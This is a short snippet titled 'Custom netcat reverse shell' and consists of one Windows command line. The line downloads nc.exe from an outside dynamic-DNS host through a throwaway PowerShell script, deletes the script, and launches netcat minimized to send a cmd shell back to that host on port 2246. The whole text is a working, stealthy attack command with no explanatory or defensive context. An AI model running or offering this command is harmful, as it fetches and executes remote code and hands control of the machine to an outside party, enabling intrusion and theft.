Custom netcat reverse shell

mkdir system_data && cd system_data && echo wget -Uri "http://jemand771.sytes.net/nc.exe" -OutFile "nc.exe" > dl.ps1 && powershell -executionpolicy remotesigned -File dl.ps1 && del dl.ps1 && start  /min nc.exe jemand771.sytes.net 2246 -d -e cmd && exit